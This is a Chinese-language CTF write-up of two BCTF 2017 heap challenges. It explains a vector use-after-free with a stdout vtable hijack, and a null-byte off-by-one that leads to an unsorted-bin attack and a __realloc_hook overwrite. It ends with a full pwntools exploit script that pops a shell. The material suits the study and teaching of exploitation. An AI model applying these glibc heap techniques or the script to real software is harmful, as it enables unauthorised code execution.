2017年的BCTF,又匆匆出了2个heap的问题,都是些之前出现过的套路了。结果出了unintended有点遗憾,不过还好问题不大。

Poisonous Milk

去年Alictf中Starcraft一题的加强版,不过这次的漏洞仅仅是vector对象的UAF而不是上次的任意Double Free了。所以当drink操作完成后,可以取回之前的vector对象并任意伪造。

Leak的方法比较明显,输入color的时候错误就能够造成一个未初始化的pointer,那么我们构造一个fastbin chunk的链就可以leak出heap的地址了;关于libc地址的话由于程序的size限制不能直接得到non-fastbin chunk,可以通过不断加大vector的大小使其重分配
以得到一个指向main_arena中bin的指针,而那边的内容又是一个地址,即可完成leak libc。

接下来就是利用了,可以通过vector的特性完成任意地址写,在drink操作之后,覆盖vector对象中的3个指针startendcapacity,每次vector做push_back操作时,会将新分配出来的元素写到end的位置,同时将end加8。利用这个特性,我们可以将自己分配出的地址写到任意位置。

攻击的目标非常多样,自从上次house of orange之后,大家普遍喜欢去_IO_2_1_stdout_搞事情。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
0x7ffff7a50620 <_IO_2_1_stdout_>:   0x00000000fbad2887  0x00007ffff7a506a3
0x7ffff7a50630 <_IO_2_1_stdout_+16>: 0x00007ffff7a506a3 0x00007ffff7a506a3
0x7ffff7a50640 <_IO_2_1_stdout_+32>: 0x00007ffff7a506a3 0x00007ffff7a506a3
0x7ffff7a50650 <_IO_2_1_stdout_+48>: 0x00007ffff7a506a3 0x00007ffff7a506a3
0x7ffff7a50660 <_IO_2_1_stdout_+64>: 0x00007ffff7a506a4 0x0000000000000000
0x7ffff7a50670 <_IO_2_1_stdout_+80>: 0x0000000000000000 0x0000000000000000
0x7ffff7a50680 <_IO_2_1_stdout_+96>: 0x0000000000000000 0x00007ffff7a4f8e0
0x7ffff7a50690 <_IO_2_1_stdout_+112>: 0x0000000000000001 0xffffffffffffffff
0x7ffff7a506a0 <_IO_2_1_stdout_+128>: 0x000000000a000000 0x00007ffff7a51780
0x7ffff7a506b0 <_IO_2_1_stdout_+144>: 0xffffffffffffffff 0x0000000000000000
0x7ffff7a506c0 <_IO_2_1_stdout_+160>: 0x00007ffff7a4f7a0 0x0000000000000000
0x7ffff7a506d0 <_IO_2_1_stdout_+176>: 0x0000000000000000 0x0000000000000000
0x7ffff7a506e0 <_IO_2_1_stdout_+192>: 0x00000000ffffffff 0x0000000000000000
0x7ffff7a506f0 <_IO_2_1_stdout_+208>: 0x0000000000000000 0x00007ffff7a4e6e0
0x7ffff7a50700 <stderr>: 0x00007ffff7a50540 0x00007ffff7a50620
0x7ffff7a50710 <stdin>: 0x00007ffff7a4f8e0 0x00007ffff76acb70

在这个结构尾部是一个类似虚表的jumptable(0x00007ffff7a4e6e0),在调用其中函数时会将结构自身作为参数传入。紧接着的就是程序要用到的stdinstdoutstderr指针。我们可以先控制这个虚表指针,让其输出的时候调用gets,这样就能够再一次输入控制整个结构,此时就能将/bin/sh写到结构头部,再一次控制虚表,让其调用system就可以了。

Overwatch

程序逻辑真的非常简单,重点就是在对2个指针的操作了。在输入函数中有着一个十分明显的null-byte off-by-one,然后就是程序没有显式的输出chunk内容的函数,需要另外寻找方法leak。

程序中唯一能够动态提供信息的地方就是通过随机数生成队友信息以及Round这个变量,所以通过一个unsorted_bin attackunsorted_bin地址写到这2个地方就可以了。本来我没想通过Round来进行leak,而是希望通过队友的信息来分别计算出这4个bytes的值,所以没将Round设成unsigned导致简化了leak的过程,不过这也问题不大。

程序仅仅使用了realloc函数,不过其实它可以完成很多的功能;例如,输入空行则相当于free操作,而输入和之前达到同样size的payload则相当于edit操作,不会触发heap分配的代码。

现在问题就变成了如何利用这个null-byte off-by-one来构造一个unsorted_bin attack,一般来说,heap中通过对size的破坏来完成利用,多是需要构造overlapped chunk,这次也不例外。其实整个过程也并不复杂,核心思想即是在破坏下一块prev_inuse的标志位的同时,同样伪造一个prev_size给这个chunk,使其在找上一块的时候能够找到一个合法的chunk进行合并,就能够通过合并操作吃掉一块,从而产生overlapped chunk.具体来说,大概长这个样子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
        +----------------+
+ | 0x91 +
+----------------+
+ chunk A +
+ (freed) +
+----------------+
+ | 0x20 +
+----------------+
name -> + chunk B +
+ (alloced) +
+----------------+
+ 0xb0 | 0x100 +
+----------------+
email-> + chunk C +
+ (alloced) +
+----------------+

chunk B触发了null-byte off-by-one,使得chunk C的prev_inuse被置为0,同时其prev_size被置为0xb0,此时free这个chunk C,其会找到上面合法的chunk A进行合并。而此时我们还留存着一个指向chunk B的指针,再次malloc一个big chunk就可以形成overlapped chunk了。

接下来就是在chunk B的位置构造一个non-fastbin chunk,并在下面放上2个0x20的inuse chunk,接着free chunk B。编辑我们的big chunk,覆盖unsorted chunk的bk完成任意内存写,就可以做到leak了。最后,通过不断地edit构造一个fastbin attack,改写__realloc_hooksystem就可以了。

下面的脚本供参考

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
#!/usr/bin/env python
# coding: utf-8

from pwn import *

def name(payload):
p.recvuntil('> ')
p.sendline('3')
p.recvuntil('name: ')
p.sendline(payload)

def email(payload):
p.recvuntil('> ')
p.sendline('4')
p.recvuntil('email: ')
p.sendline(payload)

def next():
p.recvuntil('> ')
p.sendline('5')

def solve_short(mod4, mod7, mod13, mod1000):
for i in range(66):
num = i * 1000 + mod1000
if num < 65536 and num % 4 == mod4 and num % 7 == mod7 and num % 13 == mod13:
return num
return 0

team_addr = 0x602044

maps = ['Temple of Anubis', 'Hanamura', 'Volskaya Industries', 'Watchpoint: Gibraltar', 'Dorado', 'Route 66', 'Lijiang Tower', 'Ilios', 'Nepal', 'King\'S Row', 'Numbani', 'Hollywood', 'Eichenwalde']
map_dict = {k:v for k,v in zip(maps, range(13))}
heroes = ['Genji', 'Mccree', 'Pharah', 'Reaper', 'Soldier: 76', 'Sombra', 'Tracer']
hero_dict = {k:v for k,v in zip(heroes, range(7))}

while True:
p = remote('localhost', 16969)

name('A' * (0x90 - 9))
email('B' * (0x20 - 9))
next()

# trigger null-byte off-by-one
name('C' * (0x100 - 9))
email('B' * (0x20 - 16) + p64(0xb0))
next()

# free name, all chunks will be freed
# but email still available
name('')
next()

bk = team_addr - 1 - 0x10
payload = 'A' * 0x80 + p64(0) + p64(0x91) + p64(0) + p64(0) + 'B' * 0x70 + p64(0) + p64(0x21) + 'C' * 0x10 + p64(0) + p64(0x21)
name(payload)
email('')
next()

payload = 'A' * 0x80 + p64(0) + p64(0x91) + p64(0) + p64(bk) + 'B' * 0x70 + p64(0) + p64(0x21) + 'C' * 0x10 + p64(0) + p64(0x21)
name(payload)
email('D' * (0x90 - 9))

# leak libc
p.recvuntil('> ')
p.sendline('1')
p.recvuntil('play on ')
high_mod13 = map_dict[p.recvuntil('\n', drop=True)]
p.recvuntil('hero ... ')
h = p.recvuntil('\n', drop=True)
print ('[+] heros = %s' % h)
if not hero_dict.has_key(h):
p.close()
del p
print('[+] not offense, skip')
continue
high_mod4 = 3
high_mod7 = hero_dict[h]
p.recvuntil('> ')
p.sendline('2')
p.recvuntil('play on ')
low_mod13 = map_dict[p.recvuntil('\n', drop=True)]
p.recvuntil('hero ... ')
h = p.recvuntil('\n', drop=True)

if not hero_dict.has_key(h):
p.close()
del p
print('[+] not offense, skip')
continue
low_mod4 = 3
low_mod7 = hero_dict[h]

next()
p.recvuntil(' I has ')
high_mod1000 = int(p.recvuntil(' level\n', drop=True))
p.recvuntil(' II has ')
low_mod1000 = int(p.recvuntil(' level\n', drop=True))
low_byte = solve_short(low_mod4, low_mod7, low_mod13, low_mod1000)
high_byte = solve_short(high_mod4, high_mod7, high_mod13, high_mod1000)
print('[+] high byte = %#x' % high_byte)
print('[+] low_byte = %#x' % low_byte)
unsorted_bin = u64('\x78' + p16(low_byte) + p16(high_byte) + '\x7f\x00\x00')
print("low = %#x, high = %#x" % (low_byte, high_byte))
print('unsorted bin @ %#x' % unsorted_bin)
libc = unsorted_bin - 0x3c3b78
realloc_hook = libc + 0x3c3b08
system = libc + 0x45390
print('libc base @ %#x' % libc)


fd = realloc_hook - 0x18 + 5 - 0x8
payload = 'A' * 0x80 + p64(0) + p64(0x71) + 'B' * 0x60 + p64(0) + p64(0x21)
payload = payload.ljust(0x150 - 9, 'C')
name(payload)
email('')

next()
payload = 'A' * 0x80 + p64(0) + p64(0x71) + p64(fd) + p64(0)
payload = payload.ljust(0x150 - 9, 'B')
name(payload)
email('C' * (0x70 - 9))

# get back 0x70 chunk, then free a 0x60 chunk to make email pointer available
next()
payload = '/bin/sh\0'.ljust(0x80, 'A')
payload += p64(0) + p64(0x61) + 'B' * 0x50 + p64(0) + p64(0x21)
payload = payload.ljust(0x150 - 9, 'C')
name(payload)
email('')

# overwrite realloc_hook
next()
payload = '\0' * (3 + 0x8) + p64(system)
payload = payload.ljust(0x70 - 9, '\0')
email(payload)
name('')

p.interactive()
break